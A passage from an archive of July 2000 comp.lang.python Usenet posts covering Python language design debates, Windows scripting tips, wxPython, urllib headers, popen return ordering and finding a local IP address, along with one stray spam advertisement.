> doesn't clear up the memory. I am using SafeArrayAccessData and
> SafeArrayUnlock on the server side to make sure that it releases the
data on
> the server side.
>
> Is there something else that I must do?

I suggest you get the latest CVS version (I realize this may be a
PITA :-(  Since build 132, a number of leaks have been fixed.  There is
a very good chance that this particular leak was plugged previously.

If not, I will definately look into this and plug it!

Mark.


Sent via Deja.com http://www.deja.com/
Before you buy.


From to_get_my_address at see.my.signature  Thu Jul 27 01:57:49 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 18:57:49 +1300
Subject: "always passes by reference"
References: <LNBBLJKPBEHFEDALKOLCAEBEGMAA.tim_one@email.msn.com>
Message-ID: <397FCF58.9F254AA2@see.my.signature>

Tim Peters wrote:
> 
> Anyone thinking about references under the covers
> is just confusing their mental picture -- only the implementers have to
> worry about that, and even then rarely.

How can you have a correct mental picture of the Python
data model that doesn't contain anything corresponding
to a reference?

Whether you call it that or not, there has to be something
in the model that is not-the-object but somehow identifies-
the-object, so that the object can appear in more than one
place at a time without having multiple copies of it.

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From azz at gnu.org  Tue Jul  4 10:07:08 2000
From: azz at gnu.org (Adam Sampson)
Date: 04 Jul 2000 15:07:08 +0100
Subject: Win32 : Making script.py executable in DOS box
References: <8jmjfe$64o$1@nnrp1.deja.com> <WzI75.5714$Tb7.31718@news-server.bigpond.net.au> <8jp3pt$q7j$1@nnrp1.deja.com>
Message-ID: <87og4eugz7.fsf@cartman.azz.net>

Neo Brave <neo_brave at my-deja.com> writes:

> > No solution I am aware of for 95, although there are some tricks
> > you can pull (Im sure someone else will fill these in for you)!
> Anyone???

How about this, saved in your PATH as hello.bat:

rem = """
python wherever\hello.bat %1 %2 %3 %4 %5 %6 %7 %8 %9
exit
"""
print "hello, world"
# more Python code

which can then be run by typing "hello"?

-- 

Adam Sampson
azz at gnu.org


From grey at despair.rpglink.com  Sun Jul 30 20:28:53 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Mon, 31 Jul 2000 00:28:53 GMT
Subject: Perl is worse!
References: <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8lvslc0mn8@news2.newsguy.com> <slrn8o74um.fjt.grey@teleute.rpglink.com> <20000730023357.A3193@exeter.exeter.org>
Message-ID: <slrn8o9hu0.i9b.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 02:33:57 -0400, Karl Ulbrich <kulbrich at yahoo.com> wrote:
>Perhaps Alex should have said "a variable containing None can also be 
>converted [to an integer]", but the intent (solving your problem)
>was clear.

    Right, just wanted to make sure that I understood what was really
happening, didn't mean to refute Alex.

>Easy. As an example, suppose your program processes 400 MB worth
>of http logs each day (not an uncommon task), but extracts and logs
>only a fraction of that for long-term storage (daily logs are not deemed
>worthy of permanent backups).

    Actually, if I were to use Python to process our logs it would be closer
to 1.5Gb which is very compressable with GZIP.  We do keep them on record for
at least a month, sometimes 2-3, but have them on tape going back quite a
while.  Never know when one might have to pull logs for legal reasons.  They
/need/ to be kept.

    But I digress.  Let's just write it off as a difference of opinion.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From gregory.lielens at fft.be  Thu Jul 20 13:03:14 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Thu, 20 Jul 2000 19:03:14 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
	 <8l6vul$5ig$1@slb3.atl.mindspring.net>
	 <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be>
	 <y$M38JArNyd5EwxV@jessikat.fsnet.co.uk> <iWWJyhAZ6yd5EwRM@jessikat.fsnet.co.uk>
Message-ID: <397730D2.75B322D@fft.be>

> >>Robin Becker wrote:
> >...
> I forgot to mention that the physicists sometimes use
> an outer or cross product like
> (a1,a2,a3) cross (b1,b2,b3) --> (a2b3-b3a2,a3b1-a1b3,a1b2-a2b1)
> --
> Robin Becker


This one I know :-)))
But it is so specific (usefull mainly for  vector of dim 2 -> result is
scalar, or 3 -> result is vector of dim 3)
that I would define a (very simple!) cross(v1,v2) function...


From xjnxwpdpr at ltgota.edu  Sun Jul  9 14:31:58 2000
From: xjnxwpdpr at ltgota.edu (xjnxwpdpr at ltgota.edu)
Date: 9 Jul 2000 18:31:58 GMT
Subject: Don't miss this opportunity!
Message-ID: <4626e76f.8@news.tm.net.my>

remove: <4626e76f.8 at news.tm.net.my>


What if you could reach a world-wide audience of millions in an
instant?  You can with PostAgent!  Turn your computer into a
large scale Usenet news posting machine!

Use it to maximize the exposure of your ideas or products on the news
groups!

DOWNLOAD TODAY: http://members.tripod.com.pe/postagnt


From grey at despair.rpglink.com  Thu Jul 27 16:16:14 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Thu, 27 Jul 2000 20:16:14 GMT
Subject: Python luddites (was Re: Type inference now simplicity)
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au> <397F5410.6D9D317A@uab.edu> <20000727104408.A10021@inkontact.com.au> <39808e81.145010138@news.telus.net>
Message-ID: <slrn8o160d.rt1.grey@teleute.rpglink.com>

On Thu, 27 Jul 2000 19:35:46 GMT, David <root at 127.0.0.1> wrote:
>Hell, yeah, I'll use the new operators and syntax!  I freely admit it: I'm
>lazy, I like shortcuts, I'll take the easy way out.
 
>That doesn't mean I think it's a good idea for Python to offer them.
 
>IMO, they're detrimental, and should not be offered.

    YEAH!!!  I say everyone should have to program in nothing but 0s and 1s!

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From peter at schneider-kamp.de  Thu Jul 20 04:16:31 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Thu, 20 Jul 2000 08:16:31 +0000
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com>
Message-ID: <3976B55F.43A552DD@schneider-kamp.de>

Michal Wallace wrote:
> 
> I accidentally deleted the list of proposed names for "zip()", so I'm
> not sure if this was alrady mentioned..  I think merge makes sense,
> (and I don't really have a problem with zip()), but the metaphor that
> most closely resembles what it does is braid(), as in hair..

Ooh, difficult one for some non-native english speaker
(and surely for those non-english speaker).

I didn't know what it meant when I first heard it, but
even then the connotation seems to be wrong for some people:

braid([1,2,3], [4,5,6], [7,8,9]) == [[1,4,7], [2,8,5], [9,3,6]]

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From wware at world.std.com  Tue Jul 18 23:45:36 2000
From: wware at world.std.com (Will Ware)
Date: Wed, 19 Jul 2000 03:45:36 GMT
Subject: What's happening here ????
References: <Pine.BSF.4.10.10007181644550.17617-100000@hercule.perceval.be> <8F75E3744gmcmhypernetcom@199.171.54.155>
Message-ID: <FxxEG0.ALn@world.std.com>

Gordon McMillan (gmcm at hypernet.com) wrote:
> Gregoire Welraeds wrote: 
> > [what's happening here]
> Not much, dude. 

I think his question may be in regard to the sudden high
volume on the newsgroup. Is there a news-server problem?
Or has Python suddenly been Discovered?

-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From robin at alldunn.com  Thu Jul 13 23:48:47 2000
From: robin at alldunn.com (Robin Dunn)
Date: Thu, 13 Jul 2000 20:48:47 -0700
Subject: Looking for a tree widget with control of text color
References: <SMta5.147482$7o1.3697839@news2.rdc1.on.home.com> <opPa5.8337$%wF2.239927718@news.randori.com> <_b%a5.155712$7o1.3884807@news2.rdc1.on.home.com>
Message-ID: <94wb5.2364$VER2.41156798@news.randori.com>

"Tom" <NoSpam at NoSpam.com> wrote in message
news:_b%a5.155712$7o1.3884807 at news2.rdc1.on.home.com...
>
> This surprises me.
> It is my understanding that wxPython is a 'native' gui, so, on Windows,
its
> tree control would be implemented using the windows tree view common
> control, which is dynamic but doesn't support differing text colors for
> different nodes.
>
> Am I misunderstanding wxPython?  Or does wxPython extend the standard tree
> control in some way?
>

You understand correctly, on MSW the wxTreeCtrl is a wrapper around the
native tree view common control.  However newer versions of comctl32 send a
message that allows you to set colour and font attributes on the items.


--
Robin Dunn
Software Craftsman
robin at AllDunn.com
http://wxpython.org     Java give you jitters?
http://wxpros.com        Relax with wxPython!





From erik_wilsher at my-deja.com.bbs  Mon Jul 17 07:00:02 2000
From: erik_wilsher at my-deja.com.bbs (erik_wilsher at my-deja.com.bbs)
Date: 17 Jul 2000 11:00:02 GMT
Subject: Python VM on a Chip?
Message-ID: <3bR9X1$m1m@openbazaar.net>

>VM?  Is it even possible since the data types of Python are late
>binding?  Does anyone know of a commercial or university project that
>is implementing a Python VM using ASICs or FPGAs?

Well Martijn Faassen wrote about such a project more than a year ago.
(see http://www.egroups.com/message/python-list/56144?&start=56121 ).
However, please notice the date of the posting before you get too
excited.

In the discussion that followed (and I'm sure Martijn laughed) it
appeared to be some enthusiasm for such a project.


EW


Sent via Deja.com http://www.deja.com/
Before you buy.


From peter at schneider-kamp.de  Tue Jul 18 09:48:28 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Tue, 18 Jul 2000 13:48:28 +0000
Subject: [Patch] {l,r}just with optional pad character parameter
References: <8kshd3$l1h$2@bw107zhb.bluewin.ch> <20000716165538.V7340@xs4all.nl> <39733AC7.96CCBF81@schneider-kamp.de> <8kvd70$dn4$1@news.udel.edu> <8l0ujr$h0v$1@news1.sunrise.ch>
Message-ID: <3974602C.B3F6A76@schneider-kamp.de>

Beat Bolli wrote:
> 
> I've been working on this last night; I implemented it for ljust, rjust and
> center.
> Right now I'm trying to integrate Unicode support, too. Let me know if you
> want to see an intermediate version just for strings.

I'd like it (just go to your source forge patch and upload a 
revised version).

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From nikolai at micon.no  Sun Jul  9 15:21:12 2000
From: nikolai at micon.no (Nikolai Kirsebom)
Date: Sun, 9 Jul 2000 21:21:12 +0200
Subject: Prepending / appending to *args
Message-ID: <s84a5.10071$MS3.192680@news1.online.no>

I think I've seen how this is done somewhere, but cannot find it.  Could
anyone show me how I in function A below add an argument at the beginning of
the list / at the end of the list which then is supplied to function B.


def A(*args):
  pa = 'prepended-argument'
  aa = 'appended-argument'
  B(pa+args+aa)   ''''SYNTAX here ??

def B(*args):
  for arg in args:
    print arg


A(1,2,3)
-----

Result should be:
'prepended-argument'
1
2
3
'appended-argument'

------------

Thanks for any help

Nikolai











From mfletch at tpresence.com  Thu Jul  6 12:06:18 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Thu, 6 Jul 2000 12:06:18 -0400 
Subject: function arguments
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3409@VRTMAIL>

PythonWin 1.5.42+ (#0, Mar 29 2000, 20:23:26) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
Portions Copyright 1994-2000 Mark Hammond (MHammond at skippinet.com.au)
>>> def x( fred, lisa ):
... 	pass
... 
>>> x.func_code.co_varnames
('fred', 'lisa')
>>> class A:
... 	def x( fred, lisa ):
... 		pass
... 	
>>> b = A()
>>> b.x.im_func.func_code.co_varnames
('fred', 'lisa')
>>> 

Neat thing about pythonwin is that you can do that in the interactive
interpreter with it telling you which elements are available :) .  Of
course, you can also use the Pythonwin browser :) .

	Yes, her name was Lola.
	Yes, she wanted to be a show girl.
	She was tired of the jokes.
	She'd show them all, Las Vegas was only a bus ticket away.
	Yeah, that's the ticket, she'd show them all! :o)

Mike

-----Original Message-----
From: david_ullrich at my-deja.com [mailto:david_ullrich at my-deja.com]
Sent: Thursday, July 06, 2000 11:44 AM
To: python-list at python.org
Subject: Re: function arguments


In article
<Pine.LNX.4.21.0007061257160.17492-100000 at krispc6.physik.uni-karlsruhe.d
e>,
  Johannes Zellner <johannes at zellner.org> wrote:
...
> def fun(fred, lola):
>     ...
>
> something like `arglist(fun)' should return [ 'fred', 'lola' ]
...



From nospam at bitbucket.com  Wed Jul 26 02:17:04 2000
From: nospam at bitbucket.com (Phil Mayes)
Date: Tue, 25 Jul 2000 23:17:04 -0700
Subject: Setting referrer using urllib
References: <397bff4b.18231775@news.online.no>
Message-ID: <movf5.193$hQ.9183@newsfeed.avtel.net>

Thomas Weholt wrote in message <397bff4b.18231775 at news.online.no>...
>Hi,
>
>I`m trying to access various search interfaces on online sites using
>urllib, contrstructing a url, opening the location and reading the
>output, but many of them, well, most of them, return some permission
>denied response. Somebody told me this was due to the fact that urllib
>didn't have referrer set correctly, so the site wouldn't allow it.

Sounds unlikely, but let me point out that the HTTP spec spells
referrer incorrectly with three Rs not 4, so:
    h = httplib.HTTP(domain)
    h.putheader('Referer', ref)

But I think that for a robust solution you will also need to support
some or all of:
  * https (secure sockets)
  * 301/302 redirection
  * <META> redirection
  * cookies

Get some software that captures all TCP/IP data, then run Netscape and
your program and see where they differ.
--
Phil Mayes    pmayes AT olivebr DOT com
Olive Branch Software - home of Arranger
http://www.olivebr.com/
Check out our PalmPilot news page at http://www.olivebr.com/pilot/news.htm





From gpepice1 at nycap.rr.com  Fri Jul 28 22:23:11 2000
From: gpepice1 at nycap.rr.com (gbp)
Date: Sat, 29 Jul 2000 02:23:11 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <8losor$4bk$1@nnrp1.deja.com> <3982fb07.279274515@news.online.no> <39802E13.BF26EF5C@tcgfinancial.com>
Message-ID: <398240CD.E1BD3A0B@nycap.rr.com>

Perl viruses? maybe.

One thing is certain Perl is great job security.  It may be hard to read your
own Perl code but try to read someone elses!

jtoy wrote:

> One reason that perl is popular among hacker types is because after you get
> over the huge learning curve of perl, you can write some damaging code on
> your target's machines and you can write it in a way that only the writer
> can read it, which is actually pretty cool.  BTW, I use python.
>
> Thomas Weholt wrote:
>
> > On reason for letting people use Perl in Zope is that Perl is by far
> > the most used script-language for CGI. By opening for Perl Zope will
> > have a potentially larger user-group and get acceptance faster.
> >
> > Anyway, python still rules, and I hope they could support more
> > python-like scripting inside pages, like PHP, ASP etc.
> >
> > Thomas
> >
> > On Thu, 27 Jul 2000 08:44:12 GMT, Jonathan <theebh at yahoo.com> wrote:
> >
> > >Just finished putting down the 'Learning Python' book and tried some of
> > >the examples. Somehow i happened to have the itch of grabbing
> > >my 'Programming PERL' book and browse through it again to have a
> > >comparison(it was a long time since i last used PERL, after i picked up
> > >PHP). Looking at the Modules, Packages and Classes chapter, and - oh my
> > >god - the whole thing now looks like a mess! I don't think i will ever
> > >bother using PERL again (unless it's a 5-10 lines kind of thing).
> > >Python's syntax now seem much 'cleaner' and intuitive. But then i guess
> > >you all shld have known this by now:)
> > >
> > >But the irony now is that ZOPE will be 'opened' to PERL too. I have
> > >read through the 'debates' going on in the zope mailing list, but it
> > >still doesn't make sense - why allow Zope to be polluted by something
> > >that is clearly deficient? It's like allowing people to use sand
> > >instead of cement to build a house. (I haven't mastered Zope yet, so i
> > >will restrain from commenting any further)
> > >
> > >regards,
> > >jonathan
> > >
> > >
> > >Sent via Deja.com http://www.deja.com/
> > >Before you buy.
>
> --
> Jason Toy
> toyboy at toy.eyep.net
> jtoy at tcgfinancial.com
> http://toy.eyep.net



From guido at python.org  Wed Jul 26 21:47:24 2000
From: guido at python.org (Guido van Rossum)
Date: Thu, 27 Jul 2000 01:47:24 GMT
Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com>
Message-ID: <cpzon4jnm6.fsf@cj20424-a.reston1.va.home.com>

David Bolen <db3l at fitlinxx.com> writes:
> While munging around in the source it also appears that there seems to
> be a mismatch between the ordering of file handles returned by the
> higher order popen# routines in the internal posixmodule (the
> win32pipe routines) versus the current popen2.py library module.  I
> think I saw a discussion about this in the python-dev archives, but it
> wasn't clear if the two should be consistent at this point in the
> repository.

It was discovered that the win32pipe module returned the file objects
in the order (stdin, stdout, stderr) while popen2 returned them in the
order (stdout, stdin, stderr).  The latter is clearly strange, so we
decided that the new code should return (stdin, stdout, stderr).

Why was there no consistency between the two modules?  win32pipe
apparently didn't look closely at popen2 -- and in a sense that was
lucky, because popen2 had the order reversed.  Originally, the
reversed order made sense, because the first version of popen2 only
returned stdout and stdin -- in that order.  Because the return values
are in the parent, which must *read* from stdout and *write* to stdin,
it appeared made sense to return the files in the order (read,
write).  But when stderr was added, we ended up with the order (read,
write, read) for (stdout, stdin, stderr).  It was too late to fix for
popen2, but it's not too late to fix it at the occasion of introducing
a new API in a different module!

So there. :-)

-- 
--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From sornavoor at hotmail.com  Wed Jul 19 13:42:02 2000
From: sornavoor at hotmail.com (sorna)
Date: Wed, 19 Jul 2000 12:42:02 -0500
Subject: Documentation:  Is there in python anything like javadoc/doxygen?
Message-ID: <3975E869.68FA8CC@hotmail.com>

Hi,

I was wondereing if there is anythiong like javadoc/doxygen for python ?

Thanks,
vasu



From hbarclay at pnx.com  Wed Jul 19 13:05:29 2000
From: hbarclay at pnx.com (hbarclay at pnx.com)
Date: Wed, 19 Jul 2000 12:05:29 -0500
Subject: wrappers for basic functions
Message-ID: <ponbnscd43gjq93rhbeedj2kdhbaet3arv@4ax.com>

is there a module that would allow me to cut & paster basic code
without having to rewrite everything





From jtravis at cse.unl.edu  Wed Jul  5 16:07:59 2000
From: jtravis at cse.unl.edu (Jon Travis)
Date: 5 Jul 2000 20:07:59 GMT
Subject: BUG: profile.py
Message-ID: <8k04iv$meo$1@unlnews.unl.edu>

There is a small bug while running some of
the profiling code from within the profiler.  
Specifically:

import profile
x = profile.Profile()
x.run("x.dump_stats('/tmp/foo')")

I have a small 2 liner fix, but I doubt it is correct,
merely a band-aid, so I won't post it.

-- Jon




From tanzer at swing.co.at  Thu Jul 27 01:47:07 2000
From: tanzer at swing.co.at (Christian Tanzer)
Date: Thu, 27 Jul 2000 07:47:07 +0200
Subject: Python is wierd! 
In-Reply-To: Your message of "Wed, 26 Jul 2000 06:37:59 GMT."
             <bHvf5.46271$6y5.29952068@news2.rdc2.tx.home.com> 
Message-ID: <m13HgVf-000wcEC@swing.co.at>

"Rainer Deyke" <root at rainerdeyke.com> wrote:

> "Christian Tanzer" <tanzer at swing.co.at> wrote in message
> news:m13HJaf-000wcDC at swing.co.at...
> >"Rainer Deyke" <root at rainerdeyke.com> wrote:
> >> Static variables and methods are a mess anyway. In Python, there is no
> >> need for them - just place the variables and functions outside the
> >> class.
> >
> >That's a strong statement. But it is not true.
> >
> >If you write code using classes as first-class objects, class
> >variables and methods can be very useful.
> 
> If you need an object that acts like a class with added features, you can
> write a wrapper around the class.
> 
> class class_with_extra:
>   def __init__(self, it, **extras):
>     self.__dict__.update(extras)
>     self.it = it
>   def __getattr__(self, name):
>     return getattr(self.it, name)

Sure you can. But it will make your design messier than by using class
variables and methods -- you'll end up with twice as many classes and
a can of worms wo worry about (<hint> how many wrappers can a single
class have?). 

In Python, a class is an object to which attributes can be attached.
There is no need for a wrapper.

-- 
Christian Tanzer                                         tanzer at swing.co.at
Glasauergasse 32                                       Tel: +43 1 876 62 36
A-1130 Vienna, Austria                                 Fax: +43 1 877 66 92




From jepler.lnk at lnk.ispi.net  Thu Jul 27 07:56:06 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Thu, 27 Jul 2000 11:56:06 GMT
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature> <m3vgy1nvfc.fsf@atrus.jesus.cam.ac.uk> <3977C029.2C1DC8AC@my.signature> <397A921E.4FCF8214@prescod.net>
Message-ID: <slrn8ns0ku.ek2.jepler.lnk@potty.dsndata.com>

On Sun, 23 Jul 2000 01:35:10 -0500, Paul Prescod
 <paul at prescod.net> wrote:
>> If there were a special syntax for zipping, the
>> compiler could easily recognise this case and
>> optimise it.
>
>We should get to the point where compilers can recognize and optimize
>built-in functions soon.

You mean so that
	from mystuff import *
	print len("actually, this is an argument to mystuff.len()")
breaks?

Jeff


From fredp at mygale.org.nospam  Thu Jul 20 04:02:36 2000
From: fredp at mygale.org.nospam (Fred Pacquier)
Date: 20 Jul 2000 08:02:36 GMT
Subject: Advice sought: text-mode (but not CLI) apps in Windows console ?
References: <8F7682C13PaCmAnRDLM@195.25.12.37> <slrn8nbsj3.chd.cjc26@synecdoche.sowrong.org>
Message-ID: <8F776869DPaCmAnRDLM@161.48.76.20>

cjc26 at nospam.cornell.edu (Cliff Crawford) said :

>You may be able to compile curses using cygwin/djgpp.

I understand that it's possible, but I was sort of hoping to avoid that 
kind of adventure :-)

>Also, there
>is another library called S-Lang which you could use, and I believe
>there is a port for it for Windows.

Thanks for the tip. I knew of the scripting-language aspect of slang, but 
not the screen-management side. Is S-lang directly scriptable from Python ? 
All I have found is references to (slang-based) newt, and that (from what 
little is available) looks very Linux-oriented to me...

-- 
YAFAP : http://www.multimania.com/fredp/


From jonneve at acm.org  Thu Jul 27 04:33:12 2000
From: jonneve at acm.org (Jonathan Neve)
Date: Thu, 27 Jul 2000 10:33:12 +0200
Subject: Documentation...
Message-ID: <397FF3C8.52BEF1A5@acm.org>

Hi!
What exactly is Python? What are its aims, what is it used for?
Moreover, where could I get some (preferably electronic)
books/documents/tutorials for learning the language?
Thanks!

Jonathan Neve.
--
In a world without fences... who needs Gates?!?


From matthias.huening at univie.ac.at  Thu Jul  6 10:07:41 2000
From: matthias.huening at univie.ac.at (Matthias Huening)
Date: Thu, 6 Jul 2000 16:07:41 +0200
Subject: os.system
Message-ID: <8k23tg$38me$1@www.univie.ac.at>

Some days ago somebody mentioned the possibility to start the standard
browser through os.system on a Windows machine:

import os
os.system('start http://www.python.org/')

That works just fine, when I start it from the command line in a DOS box.
But from IDLE it takes a few seconds for the system to respond. Could
somebody explain why an whether there is a speed up for this?

Thanks,
Matthias






From aek at aek.dk.bbs  Sun Jul 16 16:30:18 2000
From: aek at aek.dk.bbs (aek at aek.dk.bbs)
Date: 16 Jul 2000 20:30:18 GMT
Subject: Why make a language case sensitive?
Message-ID: <3bQZ1g$kyF@openbazaar.net>

> > It is a typical god side of an MS product, total integration with =
total
> > benfit, a pitty thought that the interface is less good than =
Borland's...
>=20
> I can't say I have used anything of Borland since BC 4.5, I think.  I =
have
> seen cool features in some GUI builders and IDEs that aren't in VB6, =
so I
> have an idea of what you are talking about.  "Boa Constructor"
>  http://boa-constructor.sourceforge.net/ ), an IDE for Python seems to =
make
> a good effort to implement features typical of recent technologies, =
although
> it is still in "Pre-Alpha" but very promising.
ill take a look at it, although my guess is that I will stick with Ultra =
Edit until
I get around to making my own editor


> > Another solution is to be really smart and figure the flow of the
> > program and determine when a variable is first used and color that
> > color1 and the next time it is used it is colored color2...
>=20
> I think this [figure the flow of the program] is what VC6 attemps to =
do with
> C/C++ code (and that's a pretty expensive calculation) and it's a pity =
the
> compiler will [most likely] just end up re-doing the work when you hit
> "Build", as opposed to something totally integrated like VB...
Agreed VB has an advantage there


> > > Where the variables are declared in the form of a comment that =
starts
> with
> > > the letters "var" which, I think, is how JavaScript declares =
variables,
> > > isn't it?
> > it is said the man who knew the language inside out :-)
>=20
> I'm sorry, I don't follow...

I was just showing off :-)
saying yes var is the way you do it, when you do it in =
JavaScript/JScript,
and at the same time saying that I know JScript inside out


> > > So, by having a line at the beginning of a function (right after
> > > the description line, which I hope I didn't screw up) indicating =
the
> names
> > > of the variables we intend to use, any name that isn't in that =
list and
> > > isn't in anything we imported would be highlighted as a mistake, =
and if
> only
> > > the case differs, the editor would make the case match the
> declaration...
> > The only problem is that it turns Python ugly...
>=20
> Does it?  Wouldn't it help whoever was reading your code to better
> understand where the scope of the variables are, and what you intend =
to do?
> I'm reminded of assembler, where it is good practice to comment which
> registers you will be "destroying" and which you will be using.  It =
saves
> someone from looking at each line of code to figure it out....
It may make it a bit easier to see such things, but in general you =
should
make everything clear through propper naming...
It puts some extra information in a not too beautiful way, a lot like =
C++ does
in the millions of hearder files etc. Python is intendet to be a =
language where you don't
have to know a lot of syntactical extras...


> > I know it is a problem, I will however try to enforce it in our
> > concern, and one might design a devoloping tool that enforced a
> > naming convention, that could be dfined by the user.
>=20
> ...or a variable declaration convention defined by the user???  : )   =
You
> wouldn't HAVE to use the "# var", maybe you're like me and you come =
from a
> VB background and you'd rather use "# dim"?
well personally I am a C/C++/Java/JScript/Python person, and I don't =
mind so much
whether it be dim, var, whatever, but I mind having to feed my editor =
additional=20
information...


> > Once you get used to it it really isn't much of a worry
>=20
> I realized today my version of PythonWin (125) wasn't recommended as =
being
> the one to use for auto-completion and other nice features, so maybe =
it
> already does everything I want it to and my whole rant is moot??  I =
didn't
> think PythonWin was as nice as SciTe, in terms of syntax highlighting, =
so I
> switched, but now that I look at PythonWin 132, I'm impressed!  Maybe =
I *do*
> have everything I want.
yes the 125 wasn't much fun - I haven't looked at 132 yet, I have been =
busy developing
a major online consumer database in ASP/Jscript, I actually considdered =
using Python
but I couldn't figure out how to set the values Session and Application =
Objects...


> > there is only one thing in this world that makes me wonder: why are =
all
> > the beautiful languages run time parsed? (i here think primarily on
> > Python and Java)
>=20
> Only ONE thing?  Wow.  You must know the answer to life, the universe =
and
> everything, then?  And the question, too?  If it were up to me, this
> language would have been called "42"...
aye one thing only - and of course I know the question, isn't that what =
we earthlings=20
are here for? ;-)

ok there is one more neglegible thing that I wonder about wommen :-)


--=20
Anders Eggers - Krag


From shuz at bresnanlink.net  Thu Jul 27 16:23:01 2000
From: shuz at bresnanlink.net (Aaron Berg)
Date: Thu, 27 Jul 2000 15:23:01 -0500
Subject: C module question/sound related
Message-ID: <39809A25.678C7AAC@bresnanlink.net>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000727/966723b8/attachment.html>

From arnold at dstc.monash.edu.au  Tue Jul 18 21:05:12 2000
From: arnold at dstc.monash.edu.au (David Arnold)
Date: Wed, 19 Jul 2000 11:05:12 +1000
Subject: Getting local IP address... 
In-Reply-To: Your message of "Tue, 18 Jul 2000 08:40:10 GMT."
             <3bRhQA$kSN@openbazaar.net> 
Message-ID: <200007190105.LAA27331@xevious.dstc.monash.edu.au>

-->"Stephen" == Stephen Hansen <stephen%cerebralmaelstrom.com.bbs at openbazaar.net> writes:

  Stephen> Um, jeez. I'm rather surprised by these responses -- I
  Stephen> assumed it was some simple little function somewhere I was
  Stephen> missing.

sadly not.  in the simple case, gethostbyname(gethostname()) will do
what you want, but for machines with multiple interfaces it's not
guaranteed to get you a useful IP address.

this is particularly the case for a machine with a dialup PPP link,
and a local ethernet card using (just to exhibit some more complexity)
a NATed private address range.  in this case, it's likely that the
reverse lookup on the hostname would return the NATed address, which
is useless to external hosts.

the third approach has load implications, but is at least portable and
reliable ...


i've been looking at the available facilities (under Unix) for finding
interfaces and addresses, and it's reasonably arcane, and has a lot of
portability warning, but it's tempting to write a small module to
expose the functionality.

one complication i found today is that h2py (needed to get the
constants for use with ioctl()) doesn't support multi-parameter
macros, and consequently IOCTL on Solaris doesn't work ...

anyone have plans to extend h2py for 1.6/2.0 to support multi-arg
macro translations?

anyone interested in a general interface info module?



d



From m.faassen at vet.uu.nl  Sun Jul 30 17:33:13 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 30 Jul 2000 21:33:13 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com> <8lvr4n0iue@news2.newsguy.com> <slrn8o75ep.fjt.grey@teleute.rpglink.com>
Message-ID: <8m26up$ila$5@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On Sun, 30 Jul 2000 01:55:43 +0200, Alex Martelli <alex at magenta.com> wrote:
>>Which is what most computer work is doing, though the DB's may
>>not be relational ones.  Files, mailboxes, documents, saved
>>games, newsgroups, sites -- call them as you wish, they do
>>persist (hopefully:-) and your data are right there.

>     I am aware of that.  So a problem in IO routine that don't interact with
> those, with display routines, mouse input for positioning alone, etc should
> all crap out just to protect the data?  That seems utterly foolish.  Sounds
> like the reason that Microsoft software crashes so much. Oh no, the mouse
> moved the wrong way, CRASH!!!!

Buggy software is bad. It either freezes the program, crashes it, or garbles
your data (or if you use a bad OS, crashes the machine). As I said before,
a programming language can *help* you detect bugs as soon as possible,
and it can offer you the ability to recover from the bug or unexpected
